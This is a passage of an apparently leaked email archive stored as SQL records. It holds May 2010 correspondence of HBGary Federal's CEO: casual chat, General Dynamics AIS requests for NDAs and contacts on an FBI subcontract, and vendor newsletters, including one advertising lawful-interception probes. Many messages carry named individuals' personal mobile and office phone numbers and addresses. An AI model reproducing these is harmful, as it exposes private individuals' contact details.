lecture\r\nI attended last week.&nbsp; Nothing mind blowing to some in the field, but still\r\nsome interesting thoughts in it.&nbsp; http://theintersection.ogilvypr.com/2010/05/highlights-from-james-miller-speech-on-us-cybersecurity/\r\n\r\n&nbsp;\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10316,'aaron_hbgary_com/10316.html'),(6489,'2010-05-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004658.M234896P14101Q1344.eml','mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>','Cool','Remember how I mentioned the keys sticking on my toughbook keyboard?\r\nWell they were sticking again.  Matthew & Jeanne saw the toughbook\r\nvideo and dared me to wash it off in the sink - while it is turned on.\r\n So I did.  Worked great, and no more sticky keys.\r\n\r\nCrazy.\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',14368,'aaron_hbgary_com/14368.html'),(6490,'2010-05-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004658.M530572P14101Q1345.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Cool','Lol\r\n\r\nSent from my iPad\r\n\r\nOn May 19, 2010, at 11:01 PM, Ted Vera  wrote:\r\n\r\n> Remember how I mentioned the keys sticking on my toughbook keyboard?\r\n> Well they were sticking again.  Matthew & Jeanne saw the toughbook\r\n> video and dared me to wash it off in the sink - while it is turned on.\r\n> So I did.  Worked great, and no more sticky keys.\r\n>\r\n> Crazy.\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n',11431,'aaron_hbgary_com/11431.html'),(6491,'2010-05-20','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297004658.M769491P14101Q1346.eml','\"Barr Aaron\" <aaron@hbgary.com>','Dolphin Hunting in Europe','WTF?????!!!\r\n\r\nCheck out this video on YouTube:\r\n\r\nhttp://www.youtube.com/watch?v=9D4Dm8kC4iA&feature=youtube_gdata\r\n',3460,'aaron_hbgary_com/3460.html'),(6492,'2010-05-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004659.M334961P14101Q1348.eml','\"Ted Vera\" <tedvera@me.com>','Re: Dolphin Hunting in Europe','That is aweful.  Holy Shit.  How do they get away with that.\r\n\r\nOn May 20, 2010, at 12:38 AM, Ted Vera wrote:\r\n\r\n> WTF?????!!!\r\n> \r\n> Check out this video on YouTube:\r\n> \r\n> http://www.youtube.com/watch?v=9D4Dm8kC4iA&feature=youtube_gdata\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',6940,'aaron_hbgary_com/6940.html'),(6493,'2010-05-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004659.M63532P14101Q1347.eml','\"Ted Vera\" <ted@hbgary.com>','I think I found them','catamount.com\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',11413,'aaron_hbgary_com/11413.html'),(6494,'2010-05-20','newsletter@qosmos.com','/aaron@hbgary.com/new/1297004660.M584239P14101Q1349.eml','aaron@hbgary.com','QosmoNote May 2010 - ISS World EMEA Special Edition','\r\n\r\n\r\n\r\n	\r\n		\r\n		QosmosNote - ISS World EMEA Edition - May 2010\r\n\r\n\r\nh2{font-family:Arial, Helvetica, sans-serif;\r\nfont-size:14px;\r\nfont-weight:bold;\r\ncolor: #7194A7;\r\nmargin: 10px;\r\npadding:0;}\r\nh1{font-family:Arial, Helvetica, sans-serif;\r\nfont-size:16px;\r\nfont-weight:bold;\r\ncolor:#4B626E;\r\nmargin: 10px;\r\npadding:0;}\r\nh3{font-family:Arial, Helvetica, sans-serif;\r\nfont-size:12px;\r\nfont-weight:bold;\r\n\r\nmargin:10px;\r\ncolor:#4B626E;}\r\np{\r\nmargin: 10px;\r\npadding:0;\r\nfont-family:Arial, Helvetica, sans-serif;\r\nfont-size:12px;\r\ncolor:#4A4A4A;}\r\nul{\r\nmargin-top:0px;\r\nmargin-left: 20px;\r\nmargin-right: 0px;\r\nmargin-bottom:0px;\r\npadding:0px;\r\nfont-family:Arial, Helvetica, sans-serif;\r\nfont-size:12px;\r\ncolor:#4A4A4A;\r\nlist-style-type:square;\r\n}\r\nli{padding: 0px;\r\nmargin-left: 10px;\r\nmargin-top:0px;\r\n}\r\n\r\na{\r\ncolor:#4B626E;\r\ntext-decoration:none;\r\nfont-family:Arial, Helvetica, sans-serif;\r\nfont-weight:bold;\r\n\r\n}\r\n\r\n.block{\r\nborder: #CCCCCC solid 1px;\r\nwidth: 205px;\r\npadding: 5px;\r\nmargin-top:0;\r\nmargin-left:0;\r\nmargin-right:0px;\r\nmargin-bottom:20px;\r\n\r\n\r\n\r\n}\r\n\r\n.content{margin: 10px;\r\nwidth:477px;\r\npadding:0;\r\nfont-family:Arial, Helvetica, sans-serif;\r\nfont-size:12px;\r\ncolor:#4A4A4A;\r\n}\r\n\r\nhr{\r\nmargin-left: 10px;\r\n}\r\n\r\n\r\n	\r\n\r\n	\r\n		If you cannot read this e-mail, click here\r\n\r\n		\r\n\r\n			\r\n			  \r\n				\r\n				\r\n			\r\n		\r\n		\r\n			\r\n			\r\n          \r\n			\r\n			\r\n			\r\n			\r\n			\r\n			\r\n\r\n			\r\n		  \r\n		\r\n		\r\n			\r\n			\r\n			\r\n			\r\n            \r\n									Do you suffer from  information overload? \r\nWe have all read in the media how  data traffic from iPhones is clogging up mobile networks. Sounds familiar?  Well, government applications are also challenged by the explosive growth in  Internet traffic, which leads to issues in terms of: 1) interception probe  performance 2) amount of data to process and 3) ballooning storage  requirements.\r\n  \r\n    So, what to do?  Leverage IP traffic metadata!\r\n\r\n  To improve probe performance: enhance the collection phase by       mapping &ldquo;who contacts whom / when / where / how&rdquo;\r\n  For efficient data processing: use intelligent traffic decoding and       metadata extraction to focus on pertinent information (as opposed to       irrelevant video and Web ads)&nbsp;&nbsp; \r\n  To reduce storage: use traffic metadata (e.g. Webmail sender,       receiver, timestamp, etc.) in monitoring centers to index and store       interception information in a smarter way, thereby saving disk space and       speeding up information retrieval &nbsp;\r\n\r\nThe amount of network traffic  will only continue to grow in the coming years &ndash; it&rsquo;s unstoppable. The only  option is to be smart, use the latest available technology and stay ahead of  the curve, so you don&rsquo;t become a victim of info overload!\r\nIn this issue of  QosmoNote, you can read more about Network Intelligence Technology and how &nbsp;Qosmos can help you build stronger government  solutions.\r\n\r\nYou can also book a meeting with us to discuss  during ISS World in Prague, 2-4 June.\r\n\r\n\r\nThibaut Bechetoille, Qosmos CEO\r\n				  \r\n			  \r\n									\r\n				Product  Spotlight: A full range  of Qosmos ixMachine LI probes to address all regulatory-imposed requirements\r\n				To meet all specific  lawful interception needs, Qosmos has developed a wide range of targeted  ixMachine LI probes. They all benefit from Qosmos ground-breaking Network  Intelligence technology to intercept IP traffic at core network speed and feed  third party LI systems with accurate and fine-grained data:\r\n				\r\n				  IP probes to intercept on IP and MAC addresses\r\n				  Authentication probes for interception on  user identities provided Radius, DHCP and Diameter\r\n				  VoIP probes to extract the audio part and the user-context information  on any SIP identifier\r\n				  E-mail probes allowing interception of specific emails within an  SMTP session\r\n				  Multi-services probes to intercept with triggers for all IP-based services including email, VoIP and other communication applications such as webmails, instant messaging or chat.\r\n			    \r\n		    Download Qosmos ixMachine LI Edition Datasheet\r\n              Read Qosmos ixMachine LI Edition Technical Preview\r\n				\r\nProduct  Spotlight: Qosmos ixEngine optimized for Tilera TilePro64TM\r\n				To meet  the challenges of core network throughputs, Qosmos and Tilera have joined  forces to propose a Qosmos ixEngine version optimized on Tilera TilePro64. This  collaboration brings multicore computing to the next-level, enabling network  intelligence at multi-Gbps in real time. Using Qosmos  ixEngine, Tilera customers leverage Qosmos market-leading network intelligence  technology to concentrate on their core business of developing network  solutions and accelerate delivery of more precise, secure and intelligent  applications and services.\r\n				Download Qosmos ixEngine for  Tilera TilePro64 Datasheet\r\n			\r\n\r\n									\r\n\r\n\r\n                \r\nMeet Qosmos at\r\n\r\n				  Book a meeting\r\n                  \r\n				  Download presentation\r\n\r\n                \r\n									\r\n\r\n                \r\nQosmos  Tech Corner\r\n								\r\n				  This new section on Qosmos.com provides a list of short and concrete videos describing different aspects of Qosmos technology and products.See More webcasts\r\n                \r\n									\r\n				\r\n\r\n                   \r\nCompany News\r\nQosmos Joins eNsembleTM Multi-Core Alliance\r\nQosmos Expands Operations Into The UK\r\n\r\n                \r\n\r\n\r\n                \r\nCTO Blog\r\n									\r\n									\r\n									\r\n									Network Intelligence across the telecom value chain\r\n                                    	Staying under the radar\r\n	\r\n                \r\n\r\n                \r\n                                 \r\n								\r\n									\r\n			  \r\n                                \r\n			\r\n		\r\n		\r\n			Contact Us: Global Headquarters - US Office - APAC Office\r\n		\r\n		You have received this e-mail because you are in contact with Qosmos as a valued customer or partner. Click here to unsubscribe\r\n	\r\n\r\n	\r\n\r\n\r\n',3724,'aaron_hbgary_com/3724.html'),(6495,'2010-05-20','\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>','/aaron@hbgary.com/new/1297004664.M1075P14101Q1350.eml','\"Ted Vera\" <ted@hbgary.com>,\"Lemke, Michelle R.\" <Michelle.Lemke@gd-ais.com>,\"Ted Vera\" <ted@hbgary.com>,\"Lemke, Michelle R.\" <Michelle.Lemke@gd-ais.com>','HB Gary POC information','\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',13712,'aaron_hbgary_com/13712.html'),(6496,'2010-05-20','\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>','/aaron@hbgary.com/new/1297004664.M220156P14101Q1351.eml','\"Lemke, Michelle R.\" <Michelle.Lemke@gd-ais.com>,\"Lemke, Michelle R.\" <Michelle.Lemke@gd-ais.com>','HB Gary Address','\r\n\r\n\r\n\r\n\r\nHB Gary Address\r\n\r\n\r\n\r\n\r\n3604 Fair Oaks Blvd, Bld B, Ste 250\r\n\r\nSacramento, CA 95864\r\n\r\nDoug Harlow\r\n\r\nGeneral Dynamics AIS\r\n\r\n10560 Arrowhead Dr\r\n\r\nFairfax, VA 22030\r\n\r\nOffice: 703-277-1406\r\n\r\nMobile: 703-835-7243\r\n\r\n\r\n\r\n\r\n',2044,'aaron_hbgary_com/2044.html'),(6497,'2010-05-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004664.M460782P14101Q1352.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Fudsec','Most recent post on fudsec.com is pretty funny related to apt.\r\nAaron\r\n\r\nSent from my iPad\r\n',7845,'aaron_hbgary_com/7845.html'),(6498,'2010-05-20','\"Lemke, Michelle R.\" <Michelle.Lemke@gd-ais.com>','/aaron@hbgary.com/new/1297004664.M683892P14101Q1353.eml','\"Arismendi, Charles B.\" <Charles.Arismendi@gd-ais.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: HB Gary small business for FBI ESOC','\r\n\r\n\r\n\r\n\r\nHB Gary small business for FBI ESOC\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nCharles, above is Aaron&#8217;s e-mail. Don&#8217;t have one for Ted.&nbsp; \r\n\r\n&nbsp;\r\n\r\nAaron can you send Ted&#8217;s e-mail to Charles? \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMichelle Lemke\r\n\r\nSenior Manager Business Development\r\n\r\nGeneral Dynamics Advanced Information Systems\r\n\r\nBB&nbsp; 703-946-1495\r\n\r\nC 757-286-9239\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Arismendi, Charles\r\nB. \r\nSent: Thursday, May 20, 2010 9:22 AM\r\nTo: Lemke, Michelle R.\r\nSubject: RE: HB Gary small business for FBI ESOC\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMichelle \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDo\r\nyou have an e-mail address&nbsp;for Ted Vera or Aaron Barr?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nV/r,\r\n\r\n\r\n\r\n\r\n\r\n\r\nCharles\r\nArismendi\r\nProgram Manager - Subcontracts\r\n\r\n\r\n\r\n\r\n\r\nGeneral Dynamics - Advanced Information Systems\r\n10560 Arrowhead Drive\r\nFairfax, VA 22030\r\nPh: (703) 277-1217\r\n\r\n\r\n\r\n\r\n\r\nPh:\r\n(703) 277-1217\r\nC: (703) 627-9559\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15499,'aaron_hbgary_com/15499.html'),(6499,'2010-05-20','\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>','/aaron@hbgary.com/new/1297004664.M943082P14101Q1354.eml','aaron@hbgary.com,aaron@hbgary.com,','GDAIS NDA with HBGary Federal - FBI ESOC Effort','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\nGood morning Aaron,\r\n\r\n&nbsp;\r\n\r\nI&#8217;m currently working on completing an NDA between your\r\ncompany and General Dynamics AIS.&nbsp; I do not have Ted Vera&#8217;s Email address,\r\ncould you forward that to me please?\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nKimberly Hoagland\r\n\r\nSr.\r\nSpecialist-Subcontracts&nbsp;\r\n\r\nGeneral\r\nDynamics Advanced Information Systems, Inc. \r\n\r\n&nbsp;\r\n\r\nMailing\r\nAddress:\r\n\r\n&nbsp;10925\r\nPump House Road\r\n\r\n&nbsp;Annapolis\r\nJunction, MD 20701\r\n\r\nPhysical\r\nAddress:\r\n\r\n&nbsp;2721\r\nTechnology Drive\r\n\r\n&nbsp;Annapolis\r\nJunction, MD&nbsp; 20701\r\n\r\n&nbsp;\r\n\r\n(240)\r\n294-2275 (v)\r\n\r\n(240)\r\n294-2181 (f)\r\n\r\nkimberly.hoagland@gd-ais.com\r\n\r\n&nbsp;\r\n\r\nP please consider the environment before printing this email\r\n\r\nThis e-mail message is for the sole use of the intended recipient\r\nand may contain confidential and privileged information. Any unauthorized\r\nreview, use, disclosure, or distribution is prohibited. If you are not an\r\nintended recipient, please contact the sender by reply e-mail and destroy all\r\ncopies of the original message.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4301,'aaron_hbgary_com/4301.html'),(6500,'2010-05-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004665.M177817P14101Q1355.eml','\"Lemke, Michelle R.\" <Michelle.Lemke@gd-ais.com>,\"Lemke, Michelle R.\" <Michelle.Lemke@gd-ais.com>','Re: HB Gary small business for FBI ESOC','Sure. Ted@HBGary.comSent from my iPadOn May 20, 2010, at 9:31 AM, &quot;Lemke, Michelle R.&quot; &lt;Michelle.Lemke@gd-ais.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nCharles, above is Aaron’s e-mail. Don’t have one for Ted.  \r\n\r\n \r\n\r\nAaron can you send Ted’s e-mail to Charles? \r\n\r\n \r\n\r\n\r\n\r\nMichelle Lemke\r\n\r\nSenior Manager Business Development\r\n\r\nGeneral Dynamics Advanced Information Systems\r\n\r\nBB  703-946-1495\r\n\r\nC 757-286-9239\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Arismendi, Charles\r\nB. \r\nSent: Thursday, May 20, 2010 9:22 AM\r\nTo: Lemke, Michelle R.\r\nSubject: RE: HB Gary small business for FBI ESOC\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nMichelle \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nDo\r\nyou have an e-mail address for Ted Vera or Aaron Barr?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nV/r,\r\n\r\n\r\n\r\n\r\n\r\n\r\nCharles\r\nArismendi\r\nProgram Manager - Subcontracts\r\n\r\n\r\n\r\n\r\n\r\nGeneral Dynamics - Advanced Information Systems\r\n10560 Arrowhead Drive\r\nFairfax, VA 22030\r\nPh: (703) 277-1217\r\n\r\n\r\n\r\n\r\n\r\nPh:\r\n(703) 277-1217\r\nC: (703) 627-9559\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14595,'aaron_hbgary_com/14595.html'),(6501,'2010-05-20','\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>','/aaron@hbgary.com/new/1297004665.M403579P14101Q1356.eml','\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>,\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>,,,,','FBI ESOC HBGary NDA Request','\r\n\r\n\r\n\r\n\r\nFBI ESOC HBGary NDA Request\r\n\r\n\r\n\r\n\r\nKim, \r\n\r\nPlease send the NDA with BHGary to assist in Task 6, Enterprise Defense Operations, at this time.&nbsp; The POCs are cc&#8217;d in this e-mail, Ted Vera and Aaron Barr.\r\n\r\nThanks, \r\n\r\nDoug\r\n\r\n\r\n\r\nDoug Harlow\r\n\r\nGeneral Dynamics AIS\r\n\r\n10560 Arrowhead Dr\r\n\r\nFairfax, VA 22030\r\n\r\nOffice: 703-277-1406\r\n\r\nMobile: 703-835-7243\r\n\r\n\r\n',1640,'aaron_hbgary_com/1640.html'),(6502,'2010-05-20','\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>','/aaron@hbgary.com/new/1297004668.M903717P14101Q1357.eml','\"Varga, Joan A.\" <Joan.Varga@gd-ais.com>,\"Lemke, Michelle R.\" <Michelle.Lemke@gd-ais.com>,\"Arismendi, Charles B.\" <Charles.Arismendi@gd-ais.com>,\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>,\"Varga, Joan A.\" <Joan.Varga@gd-ais.com>,\"Lemke, Michelle R.\" <Michelle.Lemke@gd-ais.com>','FW: GDAIS Teaming Agreement - TA #1 - HBGary - Cyber Genome Program','All, \r\nHere\'s a copy of a TA we had with HBGary on another program. I\'ll send\r\nthe copy of the NDA in a couple of minutes.\r\nDoug\r\n\r\n\r\n\r\n\r\n\r\n',11507,'aaron_hbgary_com/11507.html'),(6503,'2010-05-20','\"ExecutiveBiz\" <sender@executivebiz.com>','/aaron@hbgary.com/new/1297004669.M382111P14101Q1358.eml','aaron@hbgary.com','Symantec Set to Buy VeriSign for $1.3 Billion','View in Browser\r\n Sign\r\n Up&nbsp;| Forward | Visit Our\r\n Blog | Jobs\r\n  | About\r\n Us GovconWire | ExecutiveGov | The New New Internet  |\r\n  GovCon Executive&nbsp;\r\n |\r\n  GovConExec\r\n MagazineBy Jim\r\n GarrettsonMay 20,\r\n 2010Symantec Set to Buy VeriSign for $1.3\r\n Billion&nbsp;Symantec\'s Enrique\r\n SalemSymantec has entered a\r\n definitive agreement to purchase VeriSign\'s security business, including the\r\n Secure Sockets Layer (SSL) Certificate Services, the Public Key Infrastructure\r\n (PKI) Services, the VeriSign Trust Services and the VeriSign Identity Protection\r\n (VIP) Authentication\r\n Service.Click Here to Read\r\n MoreCyber Command\'s New Head: Gen. Keith\r\n AlexanderLast\r\nweek, Lt. Gen. Keith Alexander, director of the National Security\r\nAgency, was confirmed by the Senate to head the new U.S. Cyber\r\n Command. This will likely alter the\r\n relationship between the military and \r\ncontractors, with CYBERCOM becoming a focal point for cyber contracts \r\nwith the military.Click Here to Read\r\n MoreDHS\' $790 Million Infrastructure Protection Grants: Where the Money\r\n is Going\r\n Last week, DHS announced $790 million in critical infrastructure\r\n preparedness grants.&nbsp; While some of the programs announced by Secretary\r\n Napolitano are relatively small in scope (i.e. the Intercity Bus Security Grant\r\n Program (IBSGP), an $11.5 million program \"to support security plans, facility\r\n security upgrades and vehicle and driver protection\"), the two largest grants, the\r\n Transit Security Grant Program (TSGP) and the Port Security Grant Program (PSGP)\r\n are much larger.&nbsp; Here\'s some in-depth analysis on where the money will go\r\n for these two grant programs.Click Here to Read\r\n MoreFCC Needs to \"Fix the Legal Foundation\" to Implement National\r\n Broadband Plan &nbsp;FCC Chairman Julius Genachowski\r\n at the Potomac Officers\r\n ClubSpeaking at an Energy and Commerce Subcommittee hearing on Capitol\r\n Hill last Thursday, Carrol Mattey, Deputy Chief of the Wireline Competition Bureau\r\n at the Federal Communications Commission, said that FCC would need a clear\r\n congressional mandate to overcome jurisdictional challenges to the National\r\n Broadband Plan\'s implementation.&nbsp; \"Many significant adoption recommendations\r\n are outside the jurisdiction of the FCC, however,\" she said, \"and will require\r\n action by Congress, executive branch agencies, state and local governments, and\r\n other non-governmental stakeholders.\" Click Here to Read\r\n MoreMeet\r\n Steve Cooper Steve Cooper is the CIO of the FAA\'s Air Traffic\r\n Organization, responsible for the information technology architecture used by\r\n 35,000 air traffic controllers to safely direct more than 7,000 takeoffs and\r\n landings per hour and more than 660 million passengers per\r\n year.&nbsp;Click Here to Read\r\n MoreMartha\r\n Johnson to Speak at Potomac Officers Club\r\n GSA\'s focus in 2010 is innovation, according to Martha Johnson\'s\r\n remarks at the 2010 Government Web & New Media Conference.&nbsp; She reminded\r\n conference attendees through Skype that GSA serves every government agency,\r\n contracting the tools and expertise they need to complete their missions.&nbsp;\r\n She\'ll be speaking at the Potomac Officers Club at a luncheon event on June\r\n 2nd.&nbsp;Click Here to\r\n Register&nbsp;7\r\n Things You Didn\'t Know about George Schindler\r\n A\r\n Closer Look at Candice Mendenhall of ICF\r\n Navy\'s\r\n Chris Kelsall: Cyber Must Compete for\r\n Resources2010\r\n SECAF Gala: A Huge Success\r\n &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n Exclusive with George Schindler: CGI\'s Billion Dollar\r\n Aquisition\r\n  In an exclusive interview, George\r\n Schindler\r\ndiscusses the recent decision to acquire Stanley, which, if approved,\r\nwill push CGI Federal to around $1.2 billion in annual revenue.\r\nSchindler also opened up about his passions outside\r\n work.&nbsp;\r\n Click Here to Read\r\n More7 Things You Don\'t Know About Schindler&nbsp;\r\n \r\n Click Here to Watch the Video\r\n InterviewSave the\r\n DateWhat: The Fairfax County Chamber of\r\n Commerce will welcome Bruce Allen, Executive Vice President/General Manager of the\r\n Washington Redskins, as the keynote speaker at the organization\'s Annual\r\n Chairman\'s Luncheon. In addition to Allen, the day\'s program will include the\r\n recognition of community and business leaders and area organizations for their\r\n service to the Chamber and Fairfax County over the past year.&nbsp;\r\n When:Tuesday, June 1511:30 to 2:00pmWhere: Westfields Marriott, Washington\r\n DullesFor more information contact Lisa Huffman at lhuffman@fairfaxchamber.org\r\n or 703-752-7528Click Here to\r\n Register.&nbsp;&nbsp;Northrop Picks\r\n Up DoD Contract, Booz Allen Wins TwoSerco Inks Air\r\n Force Logistics DealSAIC Inks\r\n Virtual World Software Deal with Dept. of AgricultureGeneral\r\n Dynamics, Lockheed Martin Ink Army DealsBooz Allen Banks\r\n Nine Air Force Contracts in Single DayMike Gaffney on\r\n CSC\'s Multi-Million Dollar Contract WinPaul Cofoni,\r\n Bill Fairl on CACI\'s Share of Billion-Dollar USSOCOM DealNGC\'s Amy King\r\n on Deal to Support Medicare, MedicaidICF Books Deal\r\n with CDCBAE, GD,\r\n Lockheed, NGC, SAIC, Six Other Firms Win Pieces of $6.6B SITE Deal; Boeing Inks\r\n Own DealRaytheon Picks\r\n James W. Wade to Lead Mission AssuranceCitizant\r\n Promotes Earl Kennedy to Division DirectorBAH\'s Natalie\r\n Givans, MITRE\'s Alfred Grasso Elected to Lead AFCEA BoardBAE Teams with\r\n Portendo AB for IED DetectorsGeneral\r\n Dynamics Acquires EBV Explosives Environmental CompanyClick Here for\r\n More GovConwireCyber Pros\r\n Brush Up Skills at Art of Exploitation UniversityResearchers\r\n Find Way to Hack CarsNew Approach to\r\n Data Sharing between DHS, Financial Services CompaniesPentagon\r\n Confirms Military Action Possible Following Cyber AttackGerman Court\r\n Wants Civilian Help to Stop HackersNorthrop\r\n Grumman to Help Find NextGen Cyber ProsCybersecurity\r\n Poses Significant Challenges for DoD, GovernmentJoe the Plumber\r\n Can Become a Hacker in 15 MinutesUS Sits Down\r\n with \'The Bear\' to Discuss CybersecurityClick Here for\r\n More from The New New\r\n Internet Resistance\r\n Mounting Against Gates Budget Cut Down on\r\n Stress in the Workplace GAO Finds\r\n Improvement Opportunities for DoD Oversight CGI\'s George\r\n Schindler Talks Major Stanley AcquisitionPanel of\r\n Regional CEOs Discuss the Success of Employee Wellness Strategies\r\n Click Here for\r\n More from GovCon Executive\r\n DISA Executive\r\n MovesNo One-Sided\r\n Solution in Building Health IT Network, Says Blumenthal$1 Billion\r\n Awarded to NIH for Biomedial ResearchGenerals Stress\r\n Need for Information Sharing, Allied TroopsAIT Becomes\r\n More PrevalentAir Force to\r\n Fully Align with National Security StrategyFBI Names\r\n Joseph M. Demarest, Jr. Asst. Director of International OperationsMore\r\n Efficiency, Less Waste Starting at the Top, Says Secretary GatesDOE and DOI\r\n Respond to Oil SpillFCC Grants\r\n Building of Broadband NetworksClick Here for\r\n More from ExecutiveGovFeatured VideoKeil on DHS\r\n BalanceAEC\r\n &#8211; Geo e-procurement portalIn the fast-paced AEC-Geo\r\n world, we understand that you need fast and flexible purchasing of your technology\r\n solutions.&nbsp; That\'s why we created a new e-procurement portal from DLT\r\n Solutions: www.dlt.com/aec-geo-proc&nbsp;From\r\n mapping and CAD, to imagery and globes, all can be purchased at a press of a\r\n button for all your government projects. The portal features special\r\n pricing around Autodesk\'s Master Government Reseller software solutions including\r\n AutoCAD, Map 3D, Civil 3D plus many more. Google Earth and GeoEye Imagery\r\n solutions are available too.Prefer to speak to a representative\r\n directly? DLT has a team of experienced representatives to help. With over 19\r\n years of working closely with federal, state and local governments, we can help\r\n you make the best purchasing decisions.&nbsp;For Autodesk products,\r\n call 888.447.2223 or send a message to ag@dlt.com&nbsp;For Geospatial\r\n products, call 877.385.3581 or send a message to gds@dlt.com.\r\n 7\r\n Things You Didn\'t Know about George Schindler\r\n 1)\r\n He has 4 kids, 3 girls and 1 boy2) He is a big Penguins fan and a big\r\n Steelers fan (grew up in Pittsburgh, PA)Click Here to Read\r\n MoreA\r\n Closer Look at Candice Mendenhall of ICF\r\n Candice Mendenhall is the Senior Vice President of Human\r\n Resources at ICF International. She joined ICF International in 2008 after serving\r\n as senior vice president of human resources and shared services at Ratner\r\n Companies. We had the opportunity to discuss with Mendenhall why she chose HR as\r\n her profession, what it\'s like working at ICF and she shared with us a unique\r\n favorite hobby of hers.Click Here to Read\r\n MoreNavy\'s\r\n Chris Kelsall: Cyber Must Compete for\r\n ResourcesChristopher T. Kelsall supports the\r\n Department of the Navy CIO IT Workforce Team. We had the opportunity to learn\r\n about his role specifically, some implications of the new social media policy, and\r\n some of his current priorities and challenges. Click Here to Read\r\n More2010\r\n SECAF Gala: A Huge Success\r\n On Thursday, April 29, 2010, the Small\r\n and Emerging Contractors Advisory Forum (SECAF) hosted their Second Annual SECAF\r\n Awards Gala. This premier organization for the small and emerging government\r\n contractors hosted the awards ceremony at the Hilton McLean in Tyson\'s\r\n Corner. Click Here to Read\r\n More&nbsp;  Click Here to Watch the\r\n VideoSave The\r\n DateWhat: Ernst & Young Entrepreneur Of The Year 2010 Greater\r\n Washington Awards Gala.The Ernst & Young Entrepreneur Of The Year 2010 finalists have a lot to\r\n celebrate. They\'ve built their dream companies. Expanded. Innovated. It\'s time to\r\n recognize their achievements. Join us at this year\'s event and see who will take\r\n home top honors.Shine\r\n your shoes. Raise your glass. Get inspired.When:Thursday, June 24, 20106:00 - 9:30\r\n p.m.Where: Ritz-Carlton, Tysons Corner,\r\n VAFor more information click or call +1 703 747 0858920\r\n Click Here to\r\n Register.\r\n A\r\n Letter from the EditorThrough our weekly emagazine and daily blog,\r\n ExecutiveBiz offers our readership an insider\'s view of news and trends shaping\r\n small, medium, and large companies within industries such as defense, technology,\r\n and health care.&nbsp; In addition to our daily blog, we\'ve launched four new\r\n media properties, GovConWire,\r\n GovConExecutive,\r\n ExecutiveGov,\r\n and TheNewNewInternet.\r\n Each week, we deliver in-depth profiles of industry leaders, candid Q&As, plus the\r\n latest news and trends, and value-add information to help you do your job\r\n better.&nbsp; You\'re a big part of the equation both online and off &#8212; which\r\n is why we want to hear from you. Have a story tip? Or an idea for a speaking\r\n event? Feel free to contact me direct. You can also follow us on Twitter, Facebook,\r\n and LinkedIn.J.D. KathuriaEditor-in-chief\r\n ExecutiveBizo: 703-226-7010&nbsp; &nbsp;jd@executivebiz.com&nbsp;&nbsp;\r\n ExecutiveBiz, 8230 Old Courthouse\r\n RoadVienna, VA 22181Update PreferencesList\r\n Unsubscribe\r\n',5940,'aaron_hbgary_com/5940.html'),(6504,'2010-05-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004669.M617258P14101Q1359.eml','\"Ray Owen\" <ray.owen@farallon-research.com>,nathan.atherley@farallon-research.com,\"Irving Mr OSD ATL Lachow\" <irving.lachow@osd.mil>','Some thoughts','Thoughts on service that sets it apart. 